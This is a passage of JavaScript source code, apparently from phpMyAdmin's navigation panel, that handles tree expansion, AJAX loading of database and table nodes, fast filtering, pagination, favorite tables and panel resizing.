.find('li.fast_filter input.searchClause'); // restore table filters $tableFilters.each(function () { $obj = $(this).closest('div.list_container'); // aPath associated with this filter var filterName = $(this).siblings('input[name=aPath]').val(); // if this table's filter has a state stored in storage if (searchClauses.hasOwnProperty(filterName) && searchClauses[filterName].length ) { // clear state if item is not visible, // happens when table filter becomes invisible // as db filter has already been applied if (! $obj.is(':visible')) { Navigation.filterStateUpdate(filterName, ''); return true; } if (! $obj.data('fastFilter')) { $obj.data( 'fastFilter', new Navigation.FastFilter.Filter($obj, '') ); } $(this).val(searchClauses[filterName]) .trigger('keyup'); } }); } }; /** * Loads child items of a node and executes a given callback * * @param isNode * @param $expandElem expander * @param callback callback function * * @return {void} */ Navigation.loadChildNodes = function (isNode, $expandElem, callback) { var $destination = null; var params = null; if (isNode) { if (!$expandElem.hasClass('expander')) { return; } $destination = $expandElem.closest('li'); var pos2Name = $expandElem.find('span.pos2_nav'); var pathsNav = $expandElem.find('span.paths_nav'); params = { 'server': CommonParams.get('server'), 'aPath': pathsNav.attr('data-apath'), 'vPath': pathsNav.attr('data-vpath'), 'pos': pathsNav.attr('data-pos'), 'pos2_name': pos2Name.attr('data-name'), 'pos2_value': pos2Name.attr('data-value'), 'searchClause': '', 'searchClause2': '' }; if ($expandElem.closest('ul').hasClass('search_results')) { params.searchClause = Navigation.FastFilter.getSearchClause(); params.searchClause2 = Navigation.FastFilter.getSearchClause2($expandElem); } } else { $destination = $('#pma_navigation_tree_content'); params = { 'server': CommonParams.get('server'), 'aPath': $expandElem.attr('data-apath'), 'vPath': $expandElem.attr('data-vpath'), 'pos': $expandElem.attr('data-pos'), 'pos2_name': '', 'pos2_value': '', 'searchClause': '', 'searchClause2': '' }; } $.post('index.php?route=/navigation&ajax_request=1', params, function (data) { if (typeof data !== 'undefined' && data.success === true) { $destination.find('div.list_container').remove(); // FIXME: Hack, there shouldn't be a list container there if (isNode) { $destination.append(data.message); $expandElem.addClass('loaded'); } else { $destination.html(data.message); $destination.children() .first() .css({ border: '0px', margin: '0em', padding : '0em' }) .slideDown('slow'); } if (data.errors) { var $errors = $(data.errors); if ($errors.children().length > 0) { $('#pma_errors').replaceWith(data.errors); } } if (callback && typeof callback === 'function') { callback(data); } } else if (typeof data !== 'undefined' && data.redirect_flag === '1') { if (window.location.href.indexOf('?') === -1) { window.location.href += '?session_expired=1'; } else { window.location.href += CommonParams.get('arg_separator') + 'session_expired=1'; } window.location.reload(); } else { var $throbber = $expandElem.find('img.throbber'); $throbber.hide(); var $icon = $expandElem.find('img.ic_b_plus'); $icon.show(); Functions.ajaxShowMessage(data.error, false); } }); }; /** * Collapses a node in navigation tree. * * @param $expandElem expander * * @return {void} */ Navigation.collapseTreeNode = function ($expandElem) { var $children = $expandElem.closest('li').children('div.list_container'); var $icon = $expandElem.find('img'); if ($expandElem.hasClass('loaded')) { if ($icon.is('.ic_b_minus')) { $icon.removeClass('ic_b_minus').addClass('ic_b_plus'); $children.slideUp('fast'); } } $expandElem.trigger('blur'); $children.promise().done(Navigation.treeStateUpdate); }; /** * Traverse the navigation tree backwards to generate all the actual * and virtual paths, as well as the positions in the pagination at * various levels, if necessary. * * @return {object} */ Navigation.traverseForPaths = function () { var params = { pos: $('#pma_navigation_tree').find('div.dbselector select').val() }; if ($('#navi_db_select').length) { return params; } var count = 0; $('#pma_navigation_tree').find('a.expander:visible').each(function () { if ($(this).find('img').is('.ic_b_minus') && $(this).closest('li').find('div.list_container .ic_b_minus').length === 0 ) { var pathsNav = $(this).find('span.paths_nav'); params['n' + count + '_aPath'] = pathsNav.attr('data-apath'); params['n' + count + '_vPath'] = pathsNav.attr('data-vpath'); var pos2Nav = $(this).find('span.pos2_nav'); if (pos2Nav.length === 0) { pos2Nav = $(this) .parent() .parent() .find('span.pos2_nav').last(); } params['n' + count + '_pos2_name'] = pos2Nav.attr('data-name'); params['n' + count + '_pos2_value'] = pos2Nav.attr('data-value'); var pos3Nav = $(this).find('span.pos3_nav'); params['n' + count + '_pos3_name'] = pos3Nav.attr('data-name'); params['n' + count + '_pos3_value'] = pos3Nav.attr('data-value'); count++; } }); return params; }; /** * Executed on page load */ $(function () { if (! $('#pma_navigation').length) { // Don't bother running any code if the navigation is not even on the page return; } // Do not let the page reload on submitting the fast filter $(document).on('submit', '.fast_filter', function (event) { event.preventDefault(); }); // Fire up the resize handlers new Navigation.ResizeHandler(); /** * opens/closes (hides/shows) tree elements * loads data via ajax */ $(document).on('click', '#pma_navigation_tree a.expander', function (event) { event.preventDefault(); event.stopImmediatePropagation(); var $icon = $(this).find('img'); if ($icon.is('.ic_b_plus')) { Navigation.expandTreeNode($(this)); } else { Navigation.collapseTreeNode($(this)); } }); /** * Register event handler for click on the reload * navigation icon at the top of the panel */ $(document).on('click', '#pma_navigation_reload', function (event) { event.preventDefault(); // Find the loading symbol and show it var $iconThrobberSrc = $('#pma_navigation').find('.throbber'); $iconThrobberSrc.show(); // TODO Why is a loading symbol both hidden, and invisible? $iconThrobberSrc.css('visibility', ''); // Callback to be used to hide the loading symbol when done reloading function hideNav () { $iconThrobberSrc.hide(); } // Reload the navigation Navigation.reload(hideNav); }); $(document).on('change', '#navi_db_select', function () { if (! $(this).val()) { CommonParams.set('db', ''); Navigation.reload(); } $(this).closest('form').trigger('submit'); }); /** * Register event handler for click on the collapse all * navigation icon at the top of the navigation tree */ $(document).on('click', '#pma_navigation_collapse', function (event) { event.preventDefault(); $('#pma_navigation_tree').find('a.expander').each(function () { var $icon = $(this).find('img'); if ($icon.is('.ic_b_minus')) { $(this).trigger('click'); } }); }); /** * Register event handler to toggle * the 'link with main panel' icon on mouseenter. */ $(document).on('mouseenter', '#pma_navigation_sync', function (event) { event.preventDefault(); var synced = $('#pma_navigation_tree').hasClass('synced'); var $img = $('#pma_navigation_sync').children('img'); if (synced) { $img.removeClass('ic_s_link').addClass('ic_s_unlink'); } else { $img.removeClass('ic_s_unlink').addClass('ic_s_link'); } }); /** * Register event handler to toggle * the 'link with main panel' icon on mouseout. */ $(document).on('mouseout', '#pma_navigation_sync', function (event) { event.preventDefault(); var synced = $('#pma_navigation_tree').hasClass('synced'); var $img = $('#pma_navigation_sync').children('img'); if (synced) { $img.removeClass('ic_s_unlink').addClass('ic_s_link'); } else { $img.removeClass('ic_s_link').addClass('ic_s_unlink'); } }); /** * Register event handler to toggle * the linking with main panel behavior */ $(document).on('click', '#pma_navigation_sync', function (event) { event.preventDefault(); var synced = $('#pma_navigation_tree').hasClass('synced'); var $img = $('#pma_navigation_sync').children('img'); if (synced) { $img .removeClass('ic_s_unlink') .addClass('ic_s_link') .attr('alt', Messages.linkWithMain) .attr('title', Messages.linkWithMain); $('#pma_navigation_tree') .removeClass('synced') .find('li.selected') .removeClass('selected'); } else { $img .removeClass('ic_s_link') .addClass('ic_s_unlink') .attr('alt', Messages.unlinkWithMain) .attr('title', Messages.unlinkWithMain); $('#pma_navigation_tree').addClass('synced'); Navigation.showCurrent(); } }); /** * Bind all "fast filter" events */ $('#pma_navigation_tree').on('click', 'li.fast_filter button.searchClauseClear', Navigation.FastFilter.events.clear); $('#pma_navigation_tree').on('focus', 'li.fast_filter input.searchClause', Navigation.FastFilter.events.focus); $('#pma_navigation_tree').on('blur', 'li.fast_filter input.searchClause', Navigation.FastFilter.events.blur); $('#pma_navigation_tree').on('keyup', 'li.fast_filter input.searchClause', Navigation.FastFilter.events.keyup); /** * Ajax handler for pagination */ $('#pma_navigation_tree').on('click', 'div.pageselector a.ajax', function (event) { event.preventDefault(); Navigation.treePagination($(this)); }); /** * Node highlighting */ $('#pma_navigation_tree.highlight').on( 'mouseover', 'li:not(.fast_filter)', function () { if ($('li:visible', this).length === 0) { $(this).addClass('activePointer'); } } ); $('#pma_navigation_tree.highlight').on( 'mouseout', 'li:not(.fast_filter)', function () { $(this).removeClass('activePointer'); } ); /** New view */ $(document).on('click', 'li.new_view a.ajax', function (event) { event.preventDefault(); Functions.createViewModal($(this)); }); /** Hide navigation tree item */ $(document).on('click', 'a.hideNavItem.ajax', function (event) { event.preventDefault(); var argSep = CommonParams.get('arg_separator'); var params = $(this).getPostData(); params += argSep + 'ajax_request=true' + argSep + 'server=' + CommonParams.get('server'); $.ajax({ type: 'POST', data: params, url: $(this).attr('href'), success: function (data) { if (typeof data !== 'undefined' && data.success === true) { Navigation.reload(); } else { Functions.ajaxShowMessage(data.error); } } }); }); /** Display a dialog to choose hidden navigation items to show */ $(document).on('click', 'a.showUnhide.ajax', function (event) { event.preventDefault(); var $msg = Functions.ajaxShowMessage(); var argSep = CommonParams.get('arg_separator'); var params = $(this).getPostData(); params += argSep + 'ajax_request=true'; $.post($(this).attr('href'), params, function (data) { if (typeof data !== 'undefined' && data.success === true) { Functions.ajaxRemoveMessage($msg); $('#unhideNavItemModal').modal('show'); $('#unhideNavItemModal').find('.modal-body').first().html(data.message); } else { Functions.ajaxShowMessage(data.error); } }); }); /** Show a hidden navigation tree item */ $(document).on('click', 'a.unhideNavItem.ajax', function (event) { event.preventDefault(); var $tr = $(this).parents('tr'); var $hiddenTableCount = $tr.parents('tbody').children().length; var $hideDialogBox = $tr.closest('div.ui-dialog'); var $msg = Functions.ajaxShowMessage(); var argSep = CommonParams.get('arg_separator'); var params = $(this).getPostData(); params += argSep + 'ajax_request=true' + argSep + 'server=' + CommonParams.get('server'); $.ajax({ type: 'POST', data: params, url: $(this).attr('href'), success: function (data) { Functions.ajaxRemoveMessage($msg); if (typeof data !== 'undefined' && data.success === true) { $tr.remove(); if ($hiddenTableCount === 1) { $hideDialogBox.remove(); } Navigation.reload(); } else { Functions.ajaxShowMessage(data.error); } } }); }); // Add/Remove favorite table using Ajax. $(document).on('click', '.favorite_table_anchor', function (event) { event.preventDefault(); var $self = $(this); var anchorId = $self.attr('id'); if ($self.data('favtargetn') !== null) { var $dataFavTargets = $('a[data-favtargets="' + $self.data('favtargetn') + '"]'); if ($dataFavTargets.length > 0) { $dataFavTargets.trigger('click'); return; } } var hasLocalStorage = isStorageSupported('localStorage') && typeof window.localStorage.favoriteTables !== 'undefined'; $.ajax({ url: $self.attr('href'), cache: false, type: 'POST', data: { 'favoriteTables': hasLocalStorage ? window.localStorage.favoriteTables : '', 'server': CommonParams.get('server'), }, success: function (data) { if (data.changes) { $('#pma_favorite_list').html(data.list); $('#' + anchorId).parent().html(data.anchor); Functions.tooltip( $('#' + anchorId), 'a', $('#' + anchorId).attr('title') ); // Update localStorage. if (isStorageSupported('localStorage')) { window.localStorage.favoriteTables = data.favoriteTables; } } else { Functions.ajaxShowMessage(data.message); } } }); }); // Check if session storage is supported if (isStorageSupported('sessionStorage')) { var storage = window.sessionStorage; // remove tree from storage if Navi_panel config form is submitted $(document).on('submit', 'form.config-form', function () { storage.removeItem('navTreePaths'); }); // Initialize if no previous state is defined if ($('#pma_navigation_tree_content').length && typeof storage.navTreePaths === 'undefined' ) { Navigation.reload(); } else if (CommonParams.get('server') === storage.server && CommonParams.get('token') === storage.token ) { // Reload the tree to the state before page refresh Navigation.reload(Navigation.filterStateRestore, JSON.parse(storage.navTreePaths)); } else { // If the user is different Navigation.treeStateUpdate(); Navigation.reload(); } } }); /** * Expands a node in navigation tree. * * @param $expandElem expander * @param callback callback function * * @return {void} */ Navigation.expandTreeNode = function ($expandElem, callback) { var $children = $expandElem.closest('li').children('div.list_container'); var $icon = $expandElem.find('img'); if ($expandElem.hasClass('loaded')) { if ($icon.is('.ic_b_plus')) { $icon.removeClass('ic_b_plus').addClass('ic_b_minus'); $children.slideDown('fast'); } if (callback && typeof callback === 'function') { callback.call(); } $children.promise().done(Navigation.treeStateUpdate); } else { var $throbber = $('#pma_navigation').find('.throbber') .first() .clone() .css({ visibility: 'visible', display: 'block' }) .on('click', false); $icon.hide(); $throbber.insertBefore($icon); Navigation.loadChildNodes(true, $expandElem, function (data) { if (typeof data !== 'undefined' && data.success === true) { var $destination = $expandElem.closest('li'); $icon.removeClass('ic_b_plus').addClass('ic_b_minus'); $children = $destination.children('div.list_container'); $children.slideDown('fast'); if ($destination.find('ul > li').length === 1) { $destination.find('ul > li') .find('a.expander.container') .trigger('click'); } if (callback && typeof callback === 'function') { callback.call(); } Navigation.showFullName($destination); } else { Functions.ajaxShowMessage(data.error, false); } $icon.show(); $throbber.remove(); $children.promise().done(Navigation.treeStateUpdate); }); } $expandElem.trigger('blur'); }; /** * Auto-scrolls the newly chosen database * * @param {object} $element The element to set to view * @param {bool} $forceToTop Whether to force scroll to top * */ Navigation.scrollToView = function ($element, $forceToTop) { Navigation.filterStateRestore(); var $container = $('#pma_navigation_tree_content'); var elemTop = $element.offset().top - $container.offset().top; var textHeight = 20; var scrollPadding = 20; // extra padding from top of bottom when scrolling to view if (elemTop < 0 || $forceToTop) { $container.stop().animate({ scrollTop: elemTop + $container.scrollTop() - scrollPadding }); } else if (elemTop + textHeight > $container.height()) { $container.stop().animate({ scrollTop: elemTop + textHeight - $container.height() + $container.scrollTop() + scrollPadding }); } }; /** * Expand the navigation and highlight the current database or table/view * * @return {void} */ Navigation.showCurrent = function () { var db = CommonParams.get('db'); var table = CommonParams.get('table'); var autoexpand = $('#pma_navigation_tree').hasClass('autoexpand'); $('#pma_navigation_tree') .find('li.selected') .removeClass('selected'); var $dbItem; if (db) { $dbItem = findLoadedItem( $('#pma_navigation_tree').find('> div'), db, 'database', !table ); if ($('#navi_db_select').length && $('option:selected', $('#navi_db_select')).length ) { if (! Navigation.selectCurrentDatabase()) { return; } // If loaded database in navigation is not same as current one if ($('#pma_navigation_tree_content').find('span.loaded_db').first().text() !== $('#navi_db_select').val() ) { Navigation.loadChildNodes(false, $('option:selected', $('#navi_db_select')), function () { handleTableOrDb(table, $('#pma_navigation_tree_content')); var $children = $('#pma_navigation_tree_content').children('div.list_container'); $children.promise().done(Navigation.treeStateUpdate); }); } else { handleTableOrDb(table, $('#pma_navigation_tree_content')); } } else if ($dbItem) { fullExpand(table, $dbItem); } } else if ($('#navi_db_select').length && $('#navi_db_select').val()) { $('#navi_db_select').val('').hide().trigger('change'); } else if (autoexpand && $('#pma_navigation_tree_content > ul > li.database').length === 1) { // automatically expand the list if there is only single database // find the name of the database var dbItemName = ''; $('#pma_navigation_tree_content > ul > li.database').children('a').each(function () { var name = $(this).text(); if (!dbItemName && name.trim()) { // if the name is not empty, it is the desired element dbItemName = name; } }); $dbItem = findLoadedItem( $('#pma_navigation_tree').find('> div'), dbItemName, 'database', !table ); fullExpand(table, $dbItem); } Navigation.showFullName($('#pma_navigation_tree')); function fullExpand (table, $dbItem) { var $expander = $dbItem.children('div').first().children('a.expander'); // if not loaded or loaded but collapsed if (! $expander.hasClass('loaded') || $expander.find('img').is('.ic_b_plus') ) { Navigation.expandTreeNode($expander, function () { handleTableOrDb(table, $dbItem); }); } else { handleTableOrDb(table, $dbItem); } } function handleTableOrDb (table, $dbItem) { if (table) { loadAndHighlightTableOrView($dbItem, table); } else { var $container = $dbItem.children('div.list_container'); var $tableContainer = $container.children('ul').children('li.tableContainer'); if ($tableContainer.length > 0) { var $expander = $tableContainer.children('div').first().children('a.expander'); $tableContainer.addClass('selected'); Navigation.expandTreeNode($expander, function () { Navigation.scrollToView($dbItem, true); }); } else { Navigation.scrollToView($dbItem, true); } } } function findLoadedItem ($container, name, clazz, doSelect) { var ret = false; $container.children('ul').children('li').each(function () { var $li = $(this); // this is a navigation group, recurse if ($li.is('.navGroup')) { var $container = $li.children('div.list_container'); var $childRet = findLoadedItem( $container, name, clazz, doSelect ); if ($childRet) { ret = $childRet; return false; } } else { // this is a real navigation item // name and class matches if (((clazz && $li.is('.' + clazz)) || ! clazz) && $li.children('a').text() === name) { if (doSelect) { $li.addClass('selected'); } // traverse up and expand and parent navigation groups $li.parents('.navGroup').each(function () { var $cont = $(this).children('div.list_container'); if (! $cont.is(':visible')) { $(this) .children('div').first() .children('a.expander') .trigger('click'); } }); ret = $li; return false; } } }); return ret; } function loadAndHighlightTableOrView ($dbItem, itemName) { var $container = $dbItem.children('div.list_container'); var $expander; var $whichItem = isItemInContainer($container, itemName, 'li.nav_node_table, li.view'); // If item already there in some container if ($whichItem) { // get the relevant container while may also be a subcontainer var $relatedContainer = $whichItem.closest('li.subContainer').length ? $whichItem.closest('li.subContainer') : $dbItem; $whichItem = findLoadedItem( $relatedContainer.children('div.list_container'), itemName, null, true ); // Show directly showTableOrView($whichItem, $relatedContainer.children('div').first().children('a.expander')); // else if item not there, try loading once } else { var $subContainers = $dbItem.find('.subContainer'); // If there are subContainers i.e. tableContainer or viewContainer if ($subContainers.length > 0) { var $containers = []; $subContainers.each(function (index) { $containers[index] = $(this); $expander = $containers[index] .children('div').first() .children('a.expander'); if (! $expander.hasClass('loaded')) { loadAndShowTableOrView($expander, $containers[index], itemName); } }); // else if no subContainers } else { $expander = $dbItem .children('div').first() .children('a.expander'); if (! $expander.hasClass('loaded')) { loadAndShowTableOrView($expander, $dbItem, itemName); } } } } function loadAndShowTableOrView ($expander, $relatedContainer, itemName) { Navigation.loadChildNodes(true, $expander, function () { var $whichItem = findLoadedItem( $relatedContainer.children('div.list_container'), itemName, null, true ); if ($whichItem) { showTableOrView($whichItem, $expander); } }); } function showTableOrView ($whichItem, $expander) { Navigation.expandTreeNode($expander, function () { if ($whichItem) { Navigation.scrollToView($whichItem, false); } }); } function isItemInContainer ($container, name, clazz) { var $whichItem = null; var $items = $container.find(clazz); $items.each(function () { if ($(this).children('a').text() === name) { $whichItem = $(this); return false; } }); return $whichItem; } }; /** * Disable navigation panel settings * * @return {void} */ Navigation.disableSettings = function () { $('#pma_navigation_settings_icon').addClass('hide'); $('#pma_navigation_settings').remove(); }; /** * Ensure that navigation panel settings is properly setup. * If not, set it up * * @param {string} selflink * * @return {void} */ Navigation.ensureSettings = function (selflink) { $('#pma_navigation_settings_icon').removeClass('hide'); if (!$('#pma_navigation_settings').length) { var params = { getNaviSettings: true, server: CommonParams.get('server'), }; $.post('index.php?route=/navigation&ajax_request=1', params, function (data) { if (typeof data !== 'undefined' && data.success) { $('#pma_navi_settings_container').html(data.message); setupRestoreField(); setupValidation(); $('#pma_navigation_settings').find('form').attr('action', selflink); } else { Functions.ajaxShowMessage(data.error); } }); } else { $('#pma_navigation_settings').find('form').attr('action', selflink); } }; /** * Reloads the whole navigation tree while preserving its state * * @param {Function} callback the callback function * @param {object} paths stored navigation paths * * @return {void} */ Navigation.reload = function (callback, paths) { var params = { 'reload': true, 'no_debug': true, 'server': CommonParams.get('server'), }; var pathsLocal = paths || Navigation.traverseForPaths(); $.extend(params, pathsLocal); if ($('#navi_db_select').length) { params.db = CommonParams.get('db'); requestNaviReload(params); return; } requestNaviReload(params); function requestNaviReload (params) { $.post('index.php?route=/navigation&ajax_request=1', params, function (data) { if (typeof data !== 'undefined' && data.success) { $('#pma_navigation_tree').html(data.message).children('div').show(); if ($('#pma_navigation_tree').hasClass('synced')) { Navigation.selectCurrentDatabase(); Navigation.showCurrent(); } // Fire the callback, if any if (typeof callback === 'function') { callback.call(); } Navigation.treeStateUpdate(); } else { Functions.ajaxShowMessage(data.error); } }); } }; Navigation.selectCurrentDatabase = function () { var $naviDbSelect = $('#navi_db_select'); if (!$naviDbSelect.length) { return false; } if (CommonParams.get('db')) { // db selected $naviDbSelect.show(); } $naviDbSelect.val(CommonParams.get('db')); return $naviDbSelect.val() === CommonParams.get('db'); }; /** * Handles any requests to change the page in a branch of a tree * * This can be called from link click or select change event handlers * * @param {object} $this A jQuery object that points to the element that * initiated the action of changing the page * * @return {void} */ Navigation.treePagination = function ($this) { var $msgbox = Functions.ajaxShowMessage(); var isDbSelector = $this.closest('div.pageselector').is('.dbselector'); var url = 'index.php?route=/navigation'; var params = 'ajax_request=true'; if ($this[0].tagName === 'A') { params += CommonParams.get('arg_separator') + $this.getPostData(); } else { // tagName === 'SELECT' params += CommonParams.get('arg_separator') + $this.closest('form').serialize(); } var searchClause = Navigation.FastFilter.getSearchClause(); if (searchClause) { params += CommonParams.get('arg_separator') + 'searchClause=' + encodeURIComponent(searchClause); } if (isDbSelector) { params += CommonParams.get('arg_separator') + 'full=true'; } else { var searchClause2 = Navigation.FastFilter.getSearchClause2($this); if (searchClause2) { params += CommonParams.get('arg_separator') + 'searchClause2=' + encodeURIComponent(searchClause2); } } $.post(url, params, function (data) { if (typeof data !== 'undefined' && data.success) { Functions.ajaxRemoveMessage($msgbox); var val; if (isDbSelector) { val = Navigation.FastFilter.getSearchClause(); $('#pma_navigation_tree') .html(data.message) .children('div') .show(); if (val) { $('#pma_navigation_tree') .find('li.fast_filter input.searchClause') .val(val); } } else { var $parent = $this.closest('div.list_container').parent(); val = Navigation.FastFilter.getSearchClause2($this); $this.closest('div.list_container').html( $(data.message).children().show() ); if (val) { $parent.find('li.fast_filter input.searchClause').val(val); } $parent.find('span.pos2_value').first().text( $parent.find('span.pos2_value').last().text() ); $parent.find('span.pos3_value').first().text( $parent.find('span.pos3_value').last().text() ); } } else { Functions.ajaxShowMessage(data.error); Functions.handleRedirectAndReload(data); } Navigation.treeStateUpdate(); }); }; /** * ResizeHandler Custom object that manages the resizing of the navigation * * XXX: Must only be ever instanciated once * XXX: Inside event handlers the 'this' object is accessed as 'event.data.resize_handler' */ Navigation.ResizeHandler = function () { /** * @var {number} panelWidth Used by the collapser to know where to go * back to when uncollapsing the panel */ this.panelWidth = 0; /** * @var {string} left Used to provide support for RTL languages */ this.left = $('html').attr('dir') === 'ltr' ? 'left' : 'right'; /** * Adjusts the width of the navigation panel to the specified value * * @param {number} position Navigation width in pixels * * @return {void} */ this.setWidth = function (position) { var pos = position; if (typeof pos !== 'number') { pos = 240; } var $resizer = $('#pma_navigation_resizer'); var resizerWidth = $resizer.width(); var $collapser = $('#pma_navigation_collapser'); var windowWidth = $(window).width(); $('#pma_navigation').width(pos); $('body').css('margin-' + this.left, pos + 'px'); // Issue #15127 : Adding fixed positioning to menubar // Issue #15570 : Panels on homescreen go underneath of floating menubar $('#floating_menubar') .css('margin-' + this.left, $('#pma_navigation').width() + $('#pma_navigation_resizer').width()) .css(this.left, 0) .css({ 'position': 'fixed', 'top': 0, 'width': '100%', 'z-index': 99 }) .append($('#server-breadcrumb')) .append($('#topmenucontainer')); // Allow the DOM to render, then adjust the padding on the body setTimeout(function () { $('body').css( 'padding-top', $('#floating_menubar').outerHeight(true) ); }, 2); $('#pma_console') .css('margin-' + this.left, (pos + resizerWidth) + 'px'); $resizer.css(this.left, pos + 'px'); if (pos === 0) { $collapser .css(this.left, pos + resizerWidth) .html(this.getSymbol(pos)) .prop('title', Messages.strShowPanel); } else if (windowWidth > 768) { $collapser .css(this.left, pos) .html(this.getSymbol(pos)) .prop('title', Messages.strHidePanel); $('#pma_navigation_resizer').css({ 'width': '3px' }); } else { $collapser .css(this.left, windowWidth - 22) .html(this.getSymbol(100)) .prop('title', Messages.strHidePanel); $('#pma_navigation').width(windowWidth); $('body').css('margin-' + this.left, '0px'); $('#pma_navigation_resizer').css({ 'width': '0px' }); } setTimeout(function () { $(window).trigger('resize'); }, 4); }; /** * Returns the horizontal position of the mouse, * relative to the outer side of the navigation panel * * @param {MouseEvent} event * * @return {number} Navigation width in pixels */ this.getPos = function (event) { var pos = event.pageX; var windowWidth = $(window).width(); var windowScroll = $(window).scrollLeft(); pos = pos - windowScroll; if (this.left !== 'left') { pos = windowWidth - event.pageX; } if (pos < 0) { pos = 0; } else if (pos + 100 >= windowWidth) { pos = windowWidth - 100; } else { this.panelWidth = 0; } return pos; }; /** * Returns the HTML code for the arrow symbol used in the collapser * * @param {number} width The width of the panel * * @return {string} */ this.getSymbol = function (width) { if (this.left === 'left') { if (width === 0) { return '→'; } else { return '←'; } } else { if (width === 0) { return '←'; } else { return '→'; } } }; /** * Event handler for initiating a resize of the panel * * @param {object} event Event data (contains a reference to Navigation.ResizeHandler) * * @return {void} */ this.mousedown = function (event) { event.preventDefault(); $(document) .on('mousemove', { 'resize_handler': event.data.resize_handler }, $.throttle(event.data.resize_handler.mousemove, 4)) .on('mouseup', { 'resize_handler': event.data.resize_handler }, event.data.resize_handler.mouseup); $('body').css('cursor', 'col-resize'); }; /** * Event handler for terminating a resize of the panel * * @param {object} event Event data (contains a reference to Navigation.ResizeHandler) * * @return {void} */ this.mouseup = function (event) { $('body').css('cursor', ''); Functions.configSet('NavigationWidth', event.data.resize_handler.getPos(event)); $('#topmenu').menuResizer('resize'); $(document) .off('mousemove') .off('mouseup'); }; /** * Event handler for updating the panel during a resize operation * * @param {object} event Event data (contains a reference to Navigation.ResizeHandler) * * @return {void} */ this.mousemove = function (event) { event.preventDefault(); if (event.data && event.data.resize_handler) { var pos = event.data.resize_handler.getPos(event); event.data.resize_handler.setWidth(pos); } }; /** * Event handler for collapsing the panel * * @param {object} event Event data (contains a reference to Navigation.ResizeHandler) * * @return {void} */ this.collapse = function (event) { event.preventDefault(); var panelWidth = event.data.resize_handler.panelWidth; var width = $('#pma_navigation').width(); if (width === 0 && panelWidth === 0) { panelWidth = 240; } Functions.configSet('NavigationWidth', panelWidth); event.data.resize_handler.setWidth(panelWidth); event.data.resize_handler.panelWidth = width; }; /** * Event handler for resizing the navigation tree height on window resize * * @return {void} */ this.treeResize = function () { var $nav = $('#pma_navigation'); var $navTree = $('#pma_navigation_tree'); var $navHeader = $('#pma_navigation_header'); var $navTreeContent = $('#pma_navigation_tree_content'); var height = ($nav.height() - $navHeader.height()); height = height > 50 ? height : 800; // keep min. height $navTree.height(height); if ($navTreeContent.length > 0) { $navTreeContent.height(height - $navTreeContent.position().top); } else { // TODO: in fast filter search response there is no #pma_navigation_tree_content, needs to be added in php $navTree.css({ 'overflow-y': 'auto' }); } // Set content bottom space because of console $('body').css('margin-bottom', $('#pma_console').height() + 'px'); }; /** * Init handlers for the tree resizers * * @return {void} */ this.treeInit = function () { const isLoadedOnMobile = $(window).width() < 768; // Hide the pma_navigation initially when loaded on mobile if (isLoadedOnMobile) { this.setWidth(0); } // Register the events for the resizer and the collapser $(document).on('mousedown', '#pma_navigation_resizer', { 'resize_handler': this }, this.mousedown); $(document).on('click', '#pma_navigation_collapser', { 'resize_handler': this }, this.collapse); // Add the correct arrow symbol to the collapser $('#pma_navigation_collapser').html(this.getSymbol($('#pma_navigation').width())); // Fix navigation tree height $(window).on('resize', this.treeResize); // need to call this now and then, browser might decide // to show/hide horizontal scrollbars depending on page content width setInterval(this.treeResize, 2000); this.treeResize(); const callbackSuccessGetConfigValue = (data) => { this.setWidth(data); $('#topmenu').menuResizer('resize'); }; // Skip mobile if (isLoadedOnMobile === false) { // Make an init using the default found value const initialResizeValue = $('#pma_navigation').data('config-navigation-width'); callbackSuccessGetConfigValue(initialResizeValue); } Functions.configGet('NavigationWidth', false, callbackSuccessGetConfigValue); }; this.treeInit(); }; /** * @var {object} FastFilter Handles the functionality that allows filtering * of the items in a branch of the navigation tree */ Navigation.FastFilter = { /** * Construct for the asynchronous fast filter functionality * * @param {object} $this A jQuery object pointing to the list container * which is the nearest parent of the fast filter * @param {string} searchClause The query string for the filter * * @return {void} */ Filter: function ($this, searchClause) { /** * @var {object} $this A jQuery object pointing to the list container * which is the nearest parent of the fast filter */ this.$this = $this; /** * @var {boolean} searchClause The query string for the filter */ this.searchClause = searchClause; /** * @var {object} $clone A clone of the original contents * of the navigation branch before * the fast filter was applied */ this.$clone = $this.clone(); /** * @var {object} xhr A reference to the ajax request that is currently running * @type {JQuery.jqXHR | null} */ this.xhr = null; /** * @var {number} timeout Used to delay the request for asynchronous search */ this.timeout = null; var $filterInput = $this.find('li.fast_filter input.searchClause'); if ($filterInput.length !== 0 && $filterInput.val() !== '' && $filterInput.val() !== $filterInput[0].defaultValue ) { this.request(); } }, /** * Gets the query string from the database fast filter form * * @return {string} */ getSearchClause: function () { var retval = ''; var $input = $('#pma_navigation_tree') .find('li.fast_filter.db_fast_filter input.searchClause'); if ($input.length && $input.val() !== $input[0].defaultValue) { retval = $input.val(); } return retval; }, /** * Gets the query string from a second level item's fast filter form * The retrieval is done by traversing the navigation tree backwards * * @param $this * * @return {string} */ getSearchClause2: function ($this) { var $filterContainer = $this.closest('div.list_container'); var $filterInput = $([]); if ($filterContainer .find('li.fast_filter:not(.db_fast_filter) input.searchClause') .length !== 0) { $filterInput = $filterContainer .find('li.fast_filter:not(.db_fast_filter) input.searchClause'); } var searchClause2 = ''; if ($filterInput.length !== 0 && $filterInput.first().val() !== $filterInput[0].defaultValue ) { searchClause2 = $filterInput.val(); } return searchClause2; }, /** * @var hash events A list of functions that are bound to DOM events * at the top of this file */ events: { focus: function () { var $obj = $(this).closest('div.list_container'); if (! $obj.data('fastFilter')) { $obj.data( 'fastFilter', new Navigation.FastFilter.Filter($obj, $(this).val()) ); } if ($(this).val() === this.defaultValue) { $(this).val(''); } else { $(this).trigger('select'); } }, blur: function () { if ($(this).val() === '') { $(this).val(this.defaultValue); } var $obj = $(this).closest('div.list_container'); if ($(this).val() === this.defaultValue && $obj.data('fastFilter')) { $obj.data('fastFilter').restore(); } }, keyup: function (event) { var $obj = $(this).closest('div.list_container'); var str = ''; if ($(this).val() !== this.defaultValue && $(this).val() !== '') { $obj.find('div.pageselector').hide(); str = $(this).val(); } /** * FIXME at the server level a value match is done while on * the client side it is a regex match. These two should be aligned */ // regex used for filtering. var regex; try { regex = new RegExp(str, 'i'); } catch (err) { return; } // this is the div that houses the items to be filtered by this filter. var outerContainer; if ($(this).closest('li.fast_filter').is('.db_fast_filter')) { outerContainer = $('#pma_navigation_tree_content'); } else { outerContainer = $obj; } // filters items that are directly under the div as well as grouped in // groups. Does not filter child items (i.e. a database search does // not filter tables) var itemFilter = function ($curr) { $curr.children('ul').children('li.navGroup').each(function () { $(this).children('div.list_container').each(function () { itemFilter($(this)); // recursive }); 